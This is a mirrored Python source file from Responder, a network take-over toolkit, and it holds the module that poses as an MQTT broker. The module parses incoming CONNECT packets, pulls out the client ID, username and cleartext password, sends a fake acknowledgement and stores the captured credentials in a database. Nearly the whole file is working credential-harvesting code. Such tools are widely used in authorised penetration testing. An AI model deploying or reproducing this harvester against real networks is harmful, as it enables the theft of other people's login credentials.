mirror of
https://github.com/lgandx/Responder.git
synced 2024-11-03 04:00:10 -08:00
206 lines
5.0 KiB
Python
206 lines
5.0 KiB
Python
#!/usr/bin/env python
|
|
# This file is part of Responder, a network take-over set of tools
|
|
# created and maintained by Laurent Gaffie.
|
|
# email: laurent.gaffie@gmail.com
|
|
# This program is free software: you can redistribute it and/or modify
|
|
# it under the terms of the GNU General Public License as published by
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
# (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
|
|
|
|
if settings.Config.PY2OR3 == "PY3":
|
|
from socketserver import BaseRequestHandler
|
|
else:
|
|
from SocketServer import BaseRequestHandler
|
|
|
|
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
|
|
|
|
#Read N byte integer
|
|
def readInt(data, offset, numberOfBytes):
|
|
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
|
|
offset += numberOfBytes
|
|
return (value, offset)
|
|
|
|
#Read binary data
|
|
def readBinaryData(data, offset):
|
|
|
|
#Read number of bytes
|
|
length, offset = readInt(data, offset, 2)
|
|
|
|
#Read bytes
|
|
value = data[offset:offset+length]
|
|
offset += length
|
|
|
|
return (value, offset)
|
|
|
|
#Same as readBinaryData() but without reading data
|
|
def skipBinaryDataString(data, offset):
|
|
length, offset = readInt(data, offset, 2)
|
|
offset += length
|
|
return offset
|
|
|
|
#Read UTF-8 encoded string
|
|
def readString(data, offset):
|
|
value, offset = readBinaryData(data, offset)
|
|
|
|
return (value.decode('utf-8'), offset)
|
|
|
|
#Read variable byte integer
|
|
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
|
|
def readVariableByteInteger(data, offset):
|
|
multiplier = 1
|
|
value = 0
|
|
while True:
|
|
encodedByte = data[offset]
|
|
offset += 1
|
|
|
|
value = (encodedByte & 127) * multiplier
|
|
|
|
if (multiplier > 128 * 128 * 128):
|
|
return None
|
|
|
|
multiplier *= 128
|
|
|
|
if(encodedByte & 128 == 0):
|
|
break
|
|
|
|
return (value, offset)
|
|
|
|
class MqttPacket:
|
|
|
|
USERNAME_FLAG = 0x80
|
|
PASSWORD_FLAG = 0x40
|
|
WILL_FLAG = 0x04
|
|
|
|
def __init__(self, data):
|
|
self.__isValid = True
|
|
|
|
controllPacketType, offset = readInt(data, 0, 1)
|
|
|
|
#check if CONNECT packet type
|
|
if controllPacketType != 0x10:
|
|
self.__isValid = False
|
|
return
|
|
|
|
#Remaining length
|
|
remainingLength, offset = readVariableByteInteger(data, offset)
|
|
|
|
#Protocol name
|
|
protocolName, offset = readString(data, offset)
|
|
|
|
#Check protocol name
|
|
if protocolName != "MQTT" and protocolName != "MQIsdp":
|
|
self.__isValid = False
|
|
return
|
|
|
|
#Check protocol version
|
|
self.__protocolVersion, offset = readInt(data, offset, 1)
|
|
|
|
#Read connect flag register
|
|
connectFlags, offset = readInt(data, offset, 1)
|
|
|
|
#Read keep alive (skip)
|
|
offset += 2
|
|
|
|
#MQTTv5 implements properties
|
|
if self.__protocolVersion > 4:
|
|
|
|
#Skip all properties
|
|
propertiesLength, offset = readVariableByteInteger(data, offset)
|
|
offset+=propertiesLength
|
|
|
|
#Get Client ID
|
|
self.clientId, offset = readString(data, offset)
|
|
|
|
if (self.clientId == ""):
|
|
self.clientId = "<Empty>"
|
|
|
|
#Skip Will
|
|
if (connectFlags & self.WILL_FLAG) > 0:
|
|
|
|
#MQTT v5 implements properties
|
|
if self.__protocolVersion > 4:
|
|
willProperties, offset = readVariableByteInteger(data, offset)
|
|
|
|
#Skip will properties
|
|
offset = skipBinaryDataString(data, offset)
|
|
offset = skipBinaryDataString(data, offset)
|
|
|
|
#Get Username
|
|
if (connectFlags & self.USERNAME_FLAG) > 0:
|
|
self.username, offset = readString(data, offset)
|
|
else:
|
|
self.username = "<Empty>"
|
|
|
|
#Get Password
|
|
if (connectFlags & self.PASSWORD_FLAG) > 0:
|
|
self.password, offset = readString(data, offset)
|
|
else:
|
|
self.password = "<Empty>"
|
|
|
|
def isValid(self):
|
|
return self.__isValid
|
|
|
|
def getProtocolVersion(self):
|
|
return self.__protocolVersion
|
|
|
|
def data(self, client):
|
|
|
|
return {
|
|
'module': 'MQTT',
|
|
'type': 'Cleartext',
|
|
'client': client,
|
|
'hostname': self.clientId,
|
|
'user': self.username,
|
|
'cleartext': self.password,
|
|
'fullhash': self.username + ':' + self.password
|
|
}
|
|
|
|
class MQTT(BaseRequestHandler):
|
|
def handle(self):
|
|
|
|
CONTROL_PACKET_TYPE_CONNECT = 0x10
|
|
|
|
try:
|
|
data = self.request.recv(2048)
|
|
|
|
#Read control packet type
|
|
controlPacketType, offset = readInt(data, 0, 1)
|
|
|
|
#Skip non CONNECT packets
|
|
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
|
|
return
|
|
|
|
#Parse connect packet
|
|
packet = MqttPacket(data)
|
|
|
|
#Skip if it contains invalid data
|
|
if not packet.isValid():
|
|
#Return response
|
|
return
|
|
|
|
#Send response packet
|
|
if packet.getProtocolVersion() < 5:
|
|
responsePacket = MQTTv3v4ResponsePacket()
|
|
else:
|
|
responsePacket = MQTTv5ResponsePacket()
|
|
|
|
self.request.send(NetworkSendBufferPython2or3(responsePacket))
|
|
|
|
#Save to DB
|
|
SaveToDb(packet.data(self.client_address[0]))
|
|
|
|
|
|
except Exception:
|
|
self.request.close()
|
|
pass
|